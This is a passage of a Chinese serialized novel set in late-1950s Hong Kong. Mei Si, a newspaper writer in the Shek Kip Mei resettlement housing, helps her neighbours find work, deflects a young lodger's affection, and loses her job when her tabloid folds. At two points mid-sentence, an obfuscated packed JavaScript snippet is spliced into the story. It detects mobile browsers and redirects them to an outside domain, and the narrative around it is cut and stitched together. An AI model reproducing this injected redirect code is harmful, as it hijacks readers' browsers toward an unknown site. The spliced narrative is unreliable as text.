到如今彼此相识三个多月,互相已经知道一些底细,苏凤香对归玉树便愈来愈看不上眼,真是个大少爷,肩不能担手不能提,他父亲在医院里做工友,扫地烧水,他倒是好,整日闲着没事做,就知道拿一本书歪在那里看,阿春婆的屋子实在太挤,因此旁人在走廊里的铺是晚搭早拆,他的则是一天到晚都搭着,床头放了几本书,晚间就当枕头用,自己每天早出晚归,每次经过,一打眼便是他靠在床头看书,金贵得不行了。 要说读书人便该是这样娇贵呢,倒也不尽然,梅小姐就与他两样,虽然给比方成上海娘姨还是有些高抬,但梅小姐是真能放下身段,大小姐能当,种田妇也能干,到外面拣了几个花盆,就在里面种小青菜,全都摆在天台上,每到了礼拜天,大盆大盆洗衣服,没像他这样,除了看书,什么也不干。 见她如此痛诋归玉树,梅思笑着劝说:“倒也没有这样悠闲,也卷烟的。” 是薛荣发给他介绍,薛荣发虽然出门做工难,但并不是全不做事,在家里做卷烟。 苏凤香撇了撇嘴:“也不知他一天能卷几个,够买一碗嗱喳面么?” 梅思连忙将话题转开了,门很薄,苏凤香的调门向来又高又尖,虽然此时并没有刻意扬声,在她已经算是轻声轻语,然而归玉树便睡在外面,仍是怕给他听到了伤感。 69.第六十九章 苏凤香闲搭珍珠塔 第六十九章 苏凤香闲搭珍珠塔 到这一年十二月底,马上便要过元旦,忽然间一股极冷的气流来到香港,梅思这一天早上看了一眼寒暑表,只得华氏五十一度多一点,房间里极冷。 她往手上呵着气,硬下心肠爬起来,出去洗漱,在走道里看到归玉树:“梅小姐早。” “归生早。啊,这几天香港冷得很,归生小心着凉,不要感冒。” 归玉树勉强笑了笑:“我晓得的,谢谢你,梅小姐。” 也是很体贴的了,没有劝自己挪到屋子里去睡,哪里挤得下呢?况且那里面多是女人,也不方便,所以这几天寒冷,宝庆都搬进屋里住,自己还在外面挺着。 想着想着,归玉树便克制不住地咳嗽了几声。 梅思暗暗摇头,快步走开了。 归玉树真是个书生的底子,身体相当单薄,他初来的时候便瘦,那时还以为是饿得太久,在石硖尾这一阵,虽然没有顶富于营养的食物,三餐总能保证,然而仍然是瘦,只是脸上比七月里更白了一些,愈发显出白皙的面色,诚然文质彬彬,然而身体真的是弱,让他去工厂做工,想来承担不住,当初于故乡,是在小学校里当教师的,并不务农。 过了两天,便是五八年的元旦,梅思这一天早上去了报馆,午间回来,拿了一打报纸,经过走廊,归玉树坐在床上,手拿一片薄薄的白纸,往里面放着烟丝。 梅思笑着将那厚厚一叠报纸递了过去:“归先生,这上面有小说,你空闲时解解闷也好。” 归玉树接过来瞥了一眼,点头笑道:“谢谢你。” 又过几天,归玉树这天傍晚来敲门:“梅小姐,你在么?” 梅思开了门,归玉树在门前递进来一沓纸张:“父亲在医院拿到一些心电图,给梅小姐当笔记用。” 梅思笑着接过来,说了声“多谢”,又请他进来坐。 归玉树犹豫了一下,或许是因为外面实在很冷,他终究是不顾矜持,踏入门来。 梅思带他到了自己这边,拉过椅子请他坐,归玉树坐下之前,抬头先看墙上的书架,笑起来:“梅小姐,你这里许多书。” 梅思笑道:“你要借书,我是可以的,只是务必要快些还。” 归玉树轻轻笑起来:“梅小姐是个爱书的人,你放心,我若是借书,一定尽快归还。” 然后便坐下,梅思给他倒了一杯热水,两个人闲谈。 “金庸先生写的小说很好。” “归生是说他的《射雕英雄传》么?” “是的,虽然是武林侠客的故事,却不止是江湖恩怨,寄托了家国的感慨。” 梅思笑道:“所以便是在《商报》连载,不是在坊间的小报。” 金庸的名字,这两年日益响亮了,在报馆里,同事们喝茶时也会说起他的小说,要说武侠小说,民国时候就有的,比如《荒江女侠》,《蜀山剑侠传》,梅思从前都读过的,尤其是在江陵小学校当□□的时候,学校有图书馆,里面收藏有一些武侠故事,便借来读,一个暑假可以读十几本,很能打发时间,梅思以为比起张恨水的小说,看着更爽快些。 而到了金庸这里,武侠的品格便拔高了一层,如同长短句到了李后主来写,便提高了一层格调,寄寓了国家兴亡的悲凉,境界深沉宏大了。 两个人娓娓而谈,梅思道:“去年……啊该是前年了,他写了一部《碧血剑》,也是在《商报》连载……” 归玉树目不转睛:“梅小姐,哪里有书卖么?或者,有旧报纸么?” 梅思摇头:“不晓得,没看到单独印出来的本子,前年的报纸,要找也难了,或者去图书馆看看,那里应该有的。” 归玉树瞳仁中一点亮光倏忽闪烁,仿佛得了道路一般,转瞬又问:“如今在香港,读这样小说的人多么?” 梅思笑道:“有些人是很爱读的,所以报上才会连载,我有几个同事便喜欢看武侠小说。” 又谈了一刻,归玉树告辞离去,出门前眼波一转,真是眷恋,这一栋楼厦,也只有这里可以让人清净清净,虽然也不是静室,苏凤香在对面,另外还有来娣,四只眼睛灼灼地望着这边,不过比起人来人往的走道,已经是天上地下。 等他走了,苏凤香向着这边笑道:“好人有好报,给了一沓心电图,订起来便是个册子,阿拉看那纸比账本的纸页要硬实些,不容易破。” 梅思抿嘴一笑:“这也算是‘投桃报李’吧。” 手摸着页面,确实很好,回头用锥子穿孔,拿线绑扎起来,作日记本顶好。 到二月中旬,便是除夕了,每年到这个时候,梅思总是格外欢喜,毕竟是难得的轻松,几天不必去报馆,在家中尽享安闲自在,梅思已经打算好,这几天除非必要,否则连门都不出了,每到过年时,天气总是冷一些,便在房间里守着风炉,煮茶取暖。 制定了计划,梅思便照此执行,初一应酬了白太太,此外她便关门在家,点起风炉,煮梅子茶,开着电灯看书。 得说她的这个风炉,很是给人称赞,实在小巧,瞿明便曾说过:“不像那些煤油炉,放在灶台下便不好换地方,这样小的风炉,要烧饭的时候搬出来,要烤火再搬进去,只是一个物件,便作两样用途。” 梅思也很是得意,又能烧饭,又能煮茶,很是得用。 初五这一天,午间在走廊里烧饭,梅思与阿春婆闲谈: “梅小姐明天要上班么?” “是啊,今天最后一日假,感觉好像珍珠宝贝一样。” “你在屋子里,还是看书?” 梅思笑道:“天这样冷,除了这个,也难有别的消遣,除非是听听无线电。这几天少见归生?” 阿春婆点头吁嗟:“我家阿树不知道着了什么魔,这一向总去图书馆,我原想着如今过年,总该在家中安静待几天,哪知还是要去,从早到晚,也不知都在那里看些什么,虽然不要钱,也能烤火,路上毕竟冷,走路好远的,他舍不得花钱搭巴士,中午吃饭也不方便……” 梅思登时便想起了《伤逝》,男主角便是在图书馆觅得了天堂,逃遁人间的寒冷,纵然是不死不活的铁火炉,看着也觉得暖和。 她定了定神,忙将这个念头抛开,阿春婆正在说着:“……烟卷也不做了……” 梅思笑着劝道:“可能是他有什么事情。” 阿春婆皱起一张脸:“天知道他搞什么鬼,还是好好卷烟是正经,又或者出门找个正当差事做,靠卷烟,能赚几个钱?” 第二天二十三号初六,礼拜天,梅思去了报馆,进了门,几天没有人气,扑面便是一股凉气,梅思缩了缩脖颈,与同事招呼过了,便搓着手坐在自己的办公桌边。 过不多时,贾文庸也到了,他一看到梅思,便招呼她:“梅小姐,你过来一下。” 梅思笑着站起身走过去。 贾文庸道:“你有个邻居,念过书认得字的,想要找一份工,报馆呢,一时是不缺人,不过印刷厂那边有个空缺,是校对的,你看他肯不肯去?” 梅思一听,很是欢喜:“多谢经理帮忙,我回去和他说,是一个好差事。” 当天傍晚,梅思路上简直是急不可耐,尤其是前方望见大厦,更是三步并作两步赶过去,爬楼梯腿上格外有力,三四分钟便上到七楼,中间都没有停歇,到了七楼的楼梯口,才感到喘不过气,抓着扶梯大口呼吸了几下,抬腿往阿春婆门前便走。 阿春婆已经在那里烧饭,梅思扬声问:“阿春婆,归生在么?” “梅小姐啊,他还没有回来。” 梅思的情绪登时便如同海水落潮一般,跌了下去,很有些嗒然地说:“等他回来了,麻烦过来说一句话。” “好呀好呀。” 梅思炊好了晚饭,在房里正吃着,外面拍门声响,宝庆撒腿便开了门,门前站着归玉树:“宝庆,辛苦你开门。梅小姐,你有事同我说么?真不巧,打扰你吃饭。” 梅思忙放下筷子,请他坐下:“很简单的,几句话便说完。是有一个印刷厂的校对职位……” 三言两语说明了工时、薪水,梅思问他:“归生可愿意去?” 归玉树喜出望外,连连点头:“实在是个好去处,多谢梅小姐帮忙,什么时候可以去试工?” 梅思笑道:“只要你愿意,明天就可以,这是地址,可惜是有些远,要搭车。” 将一张小纸条递了过去。 归玉树接过纸条,仔细看了两遍,很珍重地放在口袋里,恳切地说:“梅小姐,你雪中送炭,救了我,将来我但凡能有一点成就,一定会报答你。” 梅思一笑:“大家是邻居,何必这样客气。” 归玉树又说了两句话,很快便走了,关了门,苏凤香笑道:“倒是好像唱一出《珍珠塔》。” 苏凤香爱越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黄皓痛骂许桂珠,骂了一阵之后,终于停歇下来,喘一口气。 梅思靠墙站着,淡淡地说:“我母亲已经过世,哥哥也没了。” 黄皓有片刻的怔然,仿佛才想起还有这两个人,几秒钟后,说道:“都是□□害人,否则不至于的。” 梅思默默地望着他。 黄皓仿佛也注意到她的眼神,想了一想,叹息道:“如今我才晓得,还是你母亲好,多么贤良的一位太太,可惜我当年怎么就给那个妖精迷惑住了?我向来自负精明,哪知自家事情上,成了个周幽王,你母亲忠贞贤良,可惜没有好结果,唉~~” 梅思暗道:所以母亲才常诵《离骚》,倘若她九泉之下能听到你这一篇《罪己诏》,想来会感觉慰藉。 黄皓这时候说到此来的主旨:“幼蕊,你毕竟是我的女儿,父女之情总在,如今我已经是这个年纪,过去的事便算了吧,我风烛残年,想要有个亲人陪伴,你若是愿意,便到我那里去,我们家里如今虽然比不得当年,总还有一间公寓住,三个房间,有客厅有餐厅,关起门来自成一家,你看看你现在住的地方,一家不是一家,两家不是两家,纵然朋友情深,相濡以沫,总不如相忘于江湖。” 梅思道:“我作记者,事情忙……” 黄皓一摆手:“我晓得你的事,在小报当差,有什么意思?我们家里的钱,还很用不着出门去受苦,你只在家中照顾我便好,若是实在嫌闷呢,便找个清闲的事情做做,打发时间。我如今只得你一个女儿在眼前,想我已是八十岁,还有几年可活?等我一朝归西,家产都是你的。” 梅思想了一想,道:“你可以请个娘姨。” 黄皓猛摇头:“怕手脚不干净。” “我倒是有个可靠的人。” 两个人你来我往,又谈了将近半个钟头,黄皓终于喘吁吁地去了。 等他走了,苏凤香登时一叠声叫起来:“啊哟哟,梅小姐,你糊涂了?父女俩哪来那么长久的怨恨?他如今年纪也不小了,你就过去照看照看,照他说,毕竟是个大套间,住着宽松,你日常料理个茶饭,衣裳送洗衣店,若是还赶不及,门前一碗嗱喳面,一个面包,都能当饭,照样能做报馆的差事,你在这里,何年何月能够出头?听你爷老头子说话,手里还有好一笔铜钿,你现在不肯过去,将来落得便宜了别人,他找个远房的姪子过来,也能照应。” 梅思倒在床上,只觉得脑子里嗡嗡哄哄,摆了摆手:“凤香,不要说了,道不同不为谋。” 苏凤香撇起嘴角:“我是不懂得你们这样读过书的人,脑筋都不肯转动的。” 恨铁不成钢。 70.第七十章 逆转《西厢记》 第七十章 逆转《西厢记》 梅思给黄皓介绍的娘姨不是旁人,便是归英曼。 虽然找到了她男人,然而香港谋生不易,更何况广东“大放河口”,不多久就中止了,因为影响实在太坏,香港的报纸满是震惊,“XXX偷放河口,难民潮水涌港!”要么就是说“中G违背中英对等原则,出入平衡被破坏”,所以三四个月后,关口便收紧了,归英曼的小叔却在那时候逃来香港,倒在路上。 那是去年十一月的事,这边三月才听偷渡过来的同乡讲起,因此她男人很是愤恨:“居然开Q打老百姓,阶级弟兄!” 转头便骂老婆:“你当初怎的不带他一起来?落得他吃了枪子。如今兄弟死了,家乡老窦老母怎么办?谁来照应?你只为图自己清闲,什么都抛掉,自己跑走了。” 一通拳头把她往外面赶,归英曼一时间竟然流落街头,只得回来找姨婆,阿春婆也为难,倘若收留她在这里,实在太艰难,所以这一阵阿春婆愁得,一个小小的脑壳皱成了一颗核桃。 因此梅思那一天见到黄皓,灵机一动,便替归英曼介绍了一份工,归英曼虽然识字不多——她的弟弟是中学毕业,她却没有正经读过书——不过手脚麻利,烧一手好菜,人也爱干净,心地不坏,有她照顾黄皓,很能够令人放心。 于是归英曼便持着梅思的一封短信,循着地址,找到了黄皓的寓所,黄皓看了信,又细细观瞧归英曼,将她留用了几日,谨慎观察,以为确实还不错,就正式雇佣了下来,归英曼便算是得了个衣食饭碗,有了稳妥的住处。 为了前后给英曼姐弟绍介工作,阿春婆很是感念梅思,这一个礼拜天的午间,特意烧了一碗芋头扣肉,送到了梅思这边:“梅小姐,多谢你哦,姊弟两个的饭碗都靠你帮忙,英曼倒是还罢了,若不是靠你,阿树能做什么?到街口擦皮鞋么?他哪能做这种事?不是怕累,只是伤心,多亏你引荐他进了印刷厂,当校对,体面行当。” 梅思笑道:“多年邻居,本来就该互相照应的。” 阿春婆忙道:“可说‘远亲不如近邻’!这么多年,风风雨雨,都靠邻居们帮衬。” 坐下来说了几句话,阿春婆便道:“我回家去了,你们吃饭吧。” 送走阿春婆,梅思便招呼那边:“招娣,你三个小鬼头快来吃肉,好大一碗。凤香,你尝尝这扣肉,比上海的红烧肉如何?” 五个人凑在一张桌上吃饭,望着那一大海碗扣肉,苏凤香啧啧连声:“阿春婆这一回可是出了血本,这一大碗,得用二斤五花肉。不过谁让她家欠了这么重的人情?别说一碗肉,就算请三碗,也不算多。来娣,你吃肉,专夹芋头做什么?” 来娣老实一句:“妈,芋头好吃。” 梅思笑道:“芋头烧肉,实在是里面的芋头更有滋味,那肉吃多两片,便觉得有些腻。” 苏凤香乐起来:“梅小姐,来娣如今也有些像你,居然吃素了。” 很有点大小姐做派,神仙肚,不吃肉,专吃素。 那边阿春婆回到灶台前,又炒了两个小菜,一家人也坐下来吃饭。 吃过了饭,归玉树要与她一起去洗碗,阿春婆道是“不必了”,归玉树说“想帮忙做点家事”,婆孙二人便到了水池那里。 放开自来水冲洗着碗筷,归玉树道:“梅小姐着实帮了很大的忙。” 阿春婆听他提起这个话头,便又说起来:“可不么,若不是她,如今你要做些什么?这么大一个男人,卷烟卷总不是长法,若说你倒是识得几个字,莫非要到街上给人测字看手相么?好在她给你介绍到了印刷厂,你在那里给人家对文字,倒还体面些。” 归玉树深有感触:“姨婆,我只设想一下那样一番光景,便感觉心痛。” 实在太过没落,自己中学毕业,为了逃脱中共的风暴,舍弃一切来到香港,却落得街边算命,那其实是在骗人,虽然已经投奔港岛,但自己仍是唯物主义无神论,况且何日能够出头?莫非终生都斜靠一张窄桌,从清晨到黄昏,等候客人来问命理么?许多时候倒真是悠闲的,只是实在太过颓废,所以归玉树早就想过,那样的事,自己是绝不会去做的。 除此以外,大概就只好去作“写信佬”,在街边代人写信,是知识分子的本色行当,却也是觉得前途茫茫,一辈子给人代写书信,也不是自己想要的。 因此印刷厂的校对实在是好,“往来无白丁”,多是文化人,自己在那样一个地方,多加努力,或许便得以施展,这都是亏了梅小姐。 阿春婆连声感念梅思,归玉树顺着她一起说,不多时,归玉树貌似随意地问:“姨婆,梅小姐今年多大年纪?” 阿春婆琢磨一下:“总有三十多了,三十一二?三十三四?也可能三十五六?” “她为什么一直没有嫁人呢?” “这个哪里晓得?像她这样才貌双全的小姐,眼界可能高得很,不要看如今落在这里,原本也是大户人家出身呢,只是命不好。” 老爷宠信姨太太,梅小姐纵然是嫡出,想来也颇受冷落,难怪父女两个说不到一处去。 “梅小姐从不曾有过情人么?她想要的是一个怎样的男人呢?” “那我怎能晓得呢?各人私事,不好多问,”话说到这里,阿春婆猛然醒悟,转头灼灼地盯着他:“阿树,你脑子里转什么念头?莫非看中了梅小姐?我和你讲,这可不行,梅小姐人虽然好,可是年纪大了,你岂不曾听闻,‘宁可男大一轮,不可女大一辰’?更何况大这么多,不怕给人笑话,倒像是娶了个妈进来,她又是杨柳细腰的,怕不好生养。” 归玉树手里擦着碗笑道:“姨婆,我只是好奇问一声,怎么就想到那里去了?像我如今的情形,哪里有心思谈婚论嫁?下午还要去图书馆哩!” 阿春婆面色变幻片刻,惊疑稍定,点点头道:“你年轻,不着急,男人家,急什么?先立业要紧。还要去图书馆么?你如今有了事做,还是总要去,在那里都做些什么?” 归玉树笑着说:“坐在图书馆里能做什么?读书看报罢了。” 阿春婆摇头:“整天的看,整天的看,好像梅小姐一样。” 你们两个倘若真的成了,都是从早到晚看书,家里事可怎样料理么! 归玉树将碗都擦干净,将盆子端回灶台上,抽身走了,阿春婆弓着腰,将碗一只一只摆进下方的橱柜里,脑子里却不停,一个念头总是围着梅思和自己的孙外甥绕。 不太对啊,这个小子,想要瞒哄谁哩?我老婆子一把年纪,这么多年的盐可不是白吃的,你那一点小心思,我一只眼睛就看得出,分明便是看上了梅小姐。 要说梅小姐,确实是好啊,清清秀秀,端端庄庄,又是识文断字的,人也好,孙外甥姊弟两个,都靠她帮忙,才能在这香港立足,倘若是作邻居朋友,当真是极好的,可是要说到娶进门来,便不同了。 梅小姐虽然好,好像画上的仙女,可是自家这样的情形,很用不着她,会写字不能当饭吃,虽然在报馆有一份薪水,只怕家里的事不能,像这些缝缝补补,洗洗涮涮,烧火做饭,更别提将来还要生养儿女,她可怎么办?她那样的人,满头煤灰在厨下烧饭,实在连想都不能想,可怎么照顾阿树呢? 阿春婆脑子里努力回想梅思的形影,身段苗条,腰肢细,胯骨窄,只怕生产难,产门不好开啊,那得多遭罪?弄不好一尸两命,为这个丢了命,自然是惨,谁也不忍心见的,又或者不丢命,只是一胎两胎之后,便再不能生养,那孩子活了便罢,倘若不能活,阿树便要绝后,即使能活,一两个孩子也太单薄,又不知是男是女…… 阿春婆只顾胡乱想着,忽然间身后有人说话:“阿春婆,归生在么?” 阿春婆颤巍巍回过身来:“啊,林鹃啊,他出去了,你找他有事么?” 鄂林鹃笑道:“想借一本书看,真是不凑巧了。” 阿春婆道:“他的书都在这里,你要看哪本,便拿去好了,我回头和他说。” 鄂林鹃摇头道:“还是等他回来,我自己对他讲。” 然后转身便下楼去了。 阿春婆站在那里,眼珠一转,冲着她的背后叫道:“阿树回来了,我让他去找你。” 归玉树与阿春婆这边的波澜,梅思哪里知道?只是从这一日开始,她便觉得自己周边有些异样,每次遇见阿春婆,倒也还是乐呵呵地说话,只是阿春婆的那一双老眼,仿佛忽然间锐利了许多,总仿佛自己一背转身,她便盯着自己使劲地看,从上打下,一丝丝不肯放过的,怎么忽然间对自己如此关注? 阿春婆:那是自然啊,阿树相中的人嘛!这一阵我越是看那小子,便越是觉着不对劲,所以格外也要盯住你,果然是风摆杨柳的腰肢,标致是标致了,却真担心会断啊,担水劈柴累弯了腰,生孩子更不容易顺下来,阿树是单传,该找个好生养,能耐劳的,找大小姐可是不行。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649693|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >梅思百思不得其解,又不好直接去问阿春婆,这一天实在闷得不行了,三个孩子都出去玩,她便关起门来同苏凤香说:“我是不是做错了什么事,让阿春婆不开心?” 苏凤香似笑非笑:“怎么这样说?” 梅思思量着道:“阿春婆这一阵看我的眼神,总觉得有点不太对劲。” 好像狐狸盯着鸡。 苏凤香笑得前仰后合:“你才晓得么?阿树那个傻小子喜欢上你了!阿春婆生怕你成了她家的孙媳妇,正防贼一般防着哩!” 梅思晴天霹雳:“怎么可能?” 苏凤香笑道:“你道是不可能,我看可是大大的可能,如今这楼里许多人都知道了,就只你蒙在鼓里。” 梅思依然不可思议:“凤香,你不要乱说,归生怎么会有这样的想法?我比他大这许多。” 苏凤香乐道:“我倒是觉得他这个主意聪明的很,眼力真准,他找你不吃亏,只是你若是真找上他,便是赔尽血本。” 风流才子啊,才华究竟多高还不知道,那缠绵的样子可是学了个十足,整天哼哼呀呀地发愁,想要人来怜惜,怀才不遇啦,身世坎坷啦,青春蹉跎啦,听得人牙根都酸倒了,住在这里的人,哪个不是泡在黄连水里?就他格外金贵,这日子分外过不得。 梅思原本惊讶,此时听苏凤香这一番评说,简直如同一把尖刀,把归玉树的画像刻在了木板上,不由得便也笑起来:“他的心思是细腻些。” 流落到香港,尤其之前没有正经差事,难免感触多些,有时候便发慨叹:“个人的命运在这时代的大潮之中,实在是太渺小,倏忽便给淹没了,在自己是惊天动地,在时代却是无声无息。” 又或者说:“在这样的时世,敏感的人是痛苦的。” 莫名便让梅思想到瑞成,“vanity of vanities: all is vanity”——虚空,虚空,一切都是虚空。 于是便劝勉:“虽然一时艰难,但只要努力,总会有转机。” 归玉树便笑:“梅小姐,你放心,我是不甘心沉沦的。” 梅思点点头,这也是自己一直所想,虽然时感幻灭,但不肯就此游戏人间。 既然晓得了其中缘故,梅思便要设法,只是绞尽脑汁,一时不知该如何解释,毕竟对方没有言明,自己也不好贸然去说:“归生,我对你并没有浪漫的情意,你还是另觅佳偶。” 所以暂时只能硬着头皮将就生活。 几日后六月二十二号,礼拜天,梅思这一日休假在家,忽然有了兴致,便到街上买了五花肉和糯米,还有粽叶,回来包粽子。 她是从早上便开始忙碌,泡糯米,腌猪肉,午间煮粽子,直到午后三点,才煮好十只粽子,自己这边留五只,余下五只她便端过去隔壁,送给阿春婆:“虽然已经过了端午,不过拿来当点心也蛮好。” 二十号是端午节,礼拜五,自己没有空闲弄这些,今天补了过节,刚好也可以还上一次扣肉的人情。 阿春婆笑眯眯接过那一个瓷盘:“梅小姐,多谢你。好大的粽子。” 梅思咯咯地乐:“所以,今天须得借锅。” 借的就是阿春婆的锅,她家一口大铁锅,宛如军队的行军锅,苏凤香虽然是四个人吃饭,锅子也不很大。 阿春婆笑着说:“那不算什么,你一个人,原用不着那样大锅。” 否则也实在占地方,走廊里的厨房啊,搭得也是挨挨挤挤。 梅思脑筋一转,顺着便说:“轻便省事,我只愿一生都这样,倒是少了牵绊。” 阿春婆眼皮不由得便抽动两下,本来要说“只怕老了孤单”,然而心里一道闸连忙刹住,笑道:“年轻便先享年轻的福,人生苦短,及时行乐。” 回到房间,梅思把方才的事向苏凤香说了,苏凤香哈哈地笑:“亏了你灵巧,‘表明心迹’!” 梅思抿嘴笑道:“但愿今后可省省心吧。” 她这几句“独身宣言”果然起了作用,不知阿春婆之后是同孙外甥怎样说的,只是梅思再见归玉树,不知是自己想太多还是怎样,但觉他那深潭般的眼睛格外幽幽的,瞥向自己,万语千言,梅思脑中蓦地冒出一句,“小子多愁多病身,怎当他倾国倾城貌”,归玉树转身下楼,最后一眼,更是仿佛情绪无限,真的是“怎当他临去秋波那一转”。 梅思只觉得头皮发麻,就知道这几天不该读《西厢记》的。 71.第七十一章 股票经纪当不成的 第七十一章 股票经纪当不成的 人世实在是风波不断,梅思刚刚免除了猜疑,这边报馆有了变化。 八月十二号这一天,贾文庸召集大家开会:“各位同仁,星都要结业了。” 突如其来的消息虽然惊人,却并不意外,梅思深吸一口气,定了定神,便想到本报的经营,虽然各人都绞尽脑汁,但香港的小报竞争实在太激烈,老板的本钱又不厚,坚持了这么久,实在已经很不易。 梅思便开口道:“经理,我能够明白的。” 方燕茹蔡静怡也都说了些理解体谅的话。 见大家的态度还算冷静,贾文庸暗暗松了一口气:“不会这样快,总要到这个月末,把八月的薪水尽量开出来,只是各位也该另谋出路了。” 说了这些话后,贾文庸便要大家各自继续工作,风扇在头顶转着,发出呜呜的风声,如同西风呼啸,梅思重新拿起笔,面对着稿纸,却怎么写得出来?只觉得一颗心滚涌翻腾,不能平静,勉强凑成了当天的稿件,临近下班的时候,梅思收拾物品,走出办公室,扑面一股热浪,胸中却阵阵发冷,一路上只觉得恍恍惚惚,周围的一切都不那样真实,这一天,她是凭借本能回来石硖尾。 在门外的厨房,梅思切油菜搅鸡蛋,半心半意料理了晚饭,坐在那里吃着,这一餐蛋饼菜汤将吃完的时候,苏凤香终于发觉她今天似乎有些不同:“梅小姐,侬什么事情不爽快么?” 梅思转头略含哽咽:“报馆要关门了。” “啊,那么侬要怎样吃饭?” 梅思摇头:“还不晓得,到时再说。” 这时宝庆拿了一根竹竿,挥舞着从外面跑进来:“看我的打狗棒!梅姨你看!” 苏凤香尖声喝道:“你给我老老实实坐着,不要过去打搅。” 梅思扭过脸来勉强笑道:“唔,练得很好。” 宝庆怏怏转头跑出去了。 当晚,梅思辗转难眠,自从回归旧世界,这已经是第三次失业,虽然本也没有想着天长地久,然而事到临头,依然是伤感。 之后半个月,都有一种梦幻感,老板是要大家早寻后路,但毕竟都是尽职的人,目前人还在星都,总要负责任,于是便还是尽力把稿件写好,算是给自己一个交代,只不过终究大难临头各自飞,梅思看看纸上的文字,自己都觉得看不下去,尽人事而已。 到八月三十一号,礼拜天,真正是最后一天,贾文庸很讲旧式的江湖道义,自掏腰包将大家聚在一起,吃了一餐散伙饭:“人间多风雨,有缘再见。” 诸位同仁也都难过:“经理,今后难见到你这样的好人。” 一顿告别酒喝到下午三点多,各自抱着皮包纸袋,走出了酒馆,梅思双臂环着一个大大的布袋,晃晃悠悠来到巴士站,等了十几分钟,候到一辆拥挤的巴士,站在里面摇摇荡荡回到石硖尾,爬上七楼,进了门,把袋子往桌上一放,自己便往床上一倒,直到苏凤香回来,她都还没有起身。 苏凤香走到床边,吸了吸鼻子,蹙眉望了她一眼:“侬喝了多少酒?” 梅思懒懒地说:“其实不多。” 只是四五杯红酒,后面便喝果汁,只是酒不醉人人自醉,那样的场景,哪怕喝奶茶,可能也会醉,梅思这回有一个新的发现,酒其实是不会给人温暖的,酒下肚的当时,脸红耳赤,过一阵便感觉身上发冷。 苏凤香摇头道:“阿拉去煮菜饭,侬等下起来吃。” 到这一天晚上九点多,梅思洗了个澡,这才稍稍缓过一点力气,她坐在床头,打开袋子,把里面的物件一样样取出来,摆在桌面。 在星都六年时光,虽然只为谋衣食,终究留下许多回忆,梅思拿起墨水瓶,里面还有半瓶墨水,她把墨水瓶放下来,又拿起一只碗,是一只描花鸡公碗,碗口还有一小块崩裂,那一回吃嗱喳面的碗,给差佬惊飞了小贩,之后一直没有机会还回去。 见她一样样物品久久流连,苏凤香有些受不住,皱眉道:“侬不要再看了,反正也已经关张了,还能怎样?省些力气好找下一份工,等我看看工厂里有没有合适侬的事情做,记个账之类。” 如今苏凤香已经转到新蒲岗一个塑胶花厂做工,离家近了一些。 梅思回头一笑:“你放心,我已经好多了,只是一时难以忘怀。” 从初听消息到现在,已经半个月过去,最先的震荡已经逐渐变淡,最后一天她本来是可以从容面对的,只是与同仁们的这一餐饭,本已淡去的情绪又强烈起来,久久不能平息,此时看这些旧物,也算是对过往的一个告别。 星都的关门,将梅思的力气抽去大半,只觉得心中空空荡荡,三十一号回来之后,觉得很需要暂时休息一段,以恢复精力,只是在香港这样一个地方,怎么能停手不做呢?一天中断都不行的,许多人都是手脚不停,才能勉强维持生计。 于是第二天九月一号礼拜一,梅思便去了香港会,站在交易厅里,手中的铅笔飞快往本子上记录着股价,不多时便全抄录一遍。 到了午间,梅思走出交易厅,坐在门前的水泥地上,拧开水壶便喝水,日本的军用水壶,当年离开延安的时候,带的就是这一只壶,好久没有使用,如今却又用到了。 喝了水之后,便吃午饭,一张荷叶饼,卷了些黄瓜丝番茄片,炸胡椒调味,梅思吃着荷叶卷饼,头脑中克制不住要想事情。 这一回失业,比之桂林失陷时候完全不同,即使是离开江陵那时,也不一样,失去了□□的职业,自己回去平乐,毕竟有一个单独的居处,可以让自己有空隙喘一口气,而如今,几个人住在一起,偷入梅林放松的机会极难寻觅,只能在天台上仰望星空,更不要说凭借梅林节省伙食费。 假如此时是自己独个居住,其实很不需要如此慌促,纵然要缴房租,以自己平日的积蓄,也可以应付一阵,在星都做了这么久,仔细体味也很有些累,趁此机会刚好可以休息一段时间,顺便重整菜园,梅林之间的菜圃早已经荒芜了,为野草所占据,自己只是偶尔能够在林间拾到一些梅子,又或者捡几枚鸭蛋,到这时都可以好好打理一下,然而现在却哪里能够呢?只能为了生活所驱赶着,忙忙地便要想法子赚钱。 吃过了卷饼,她剥了水煮蛋,正要送进口中,忽然有人在后面一拍她的肩膀:“梅小姐。” 梅思转头一看,笑道:“尹先生。” 尹宗翰坐在她的一边,呵呵地乐:“添了股本啊,又有人找你作经纪?” 梅思帮人代买股票,尹宗翰早已知道,那时便打趣她:“梅小姐要和我们抢饭碗了!” 梅思当时颇有些不好意思:“只不过朋友的情面,帮个忙罢了,我不要佣金的。” 尹宗翰笑着点头:“这是我能想到的,梅小姐会做的事。” 梅思这个人啊,虽然很少谈论政治观点,但是若隐若现左翼风范,若说她是共产党,也不稀奇,她帮人交易股票,免费操作毫不意外,这也算是共产主义,天下大同了。 此刻听他又说起股票经纪的话题,梅思笑着说:“哪里有,是我自己又添了一些本金。” 自健莲姐之后,便无人找自己买股票,石硖尾人毕竟少有这样勇敢,虽然起初轰动,然而细细思量之后,便都止了步,就连林素琴,当初顶顶心动的,终究是不敢尝试。 贺健莲与梅思的合同,人们都知道的,不是保本,赔钱不管的,虽然晓得梅思人品清白,但再纯良的人,也不能确保一定赚钱,若能有股息还好,倘若赔了进去,大家好邻居,莫非要她赔出本金来?况且合同里写的明白,不管这个的,大家都是赚的血汗钱,不能就这样丢进水里去。 因此梅思虽然立定主意,倘若再有人找自己买股票,一定拒绝,免得伤了邻里的情谊,然而所幸竟然没有,这让她也大为轻松,这一回是因为她离职,要靠股票多赚些钱,便将最后一个月的薪水添了进去。 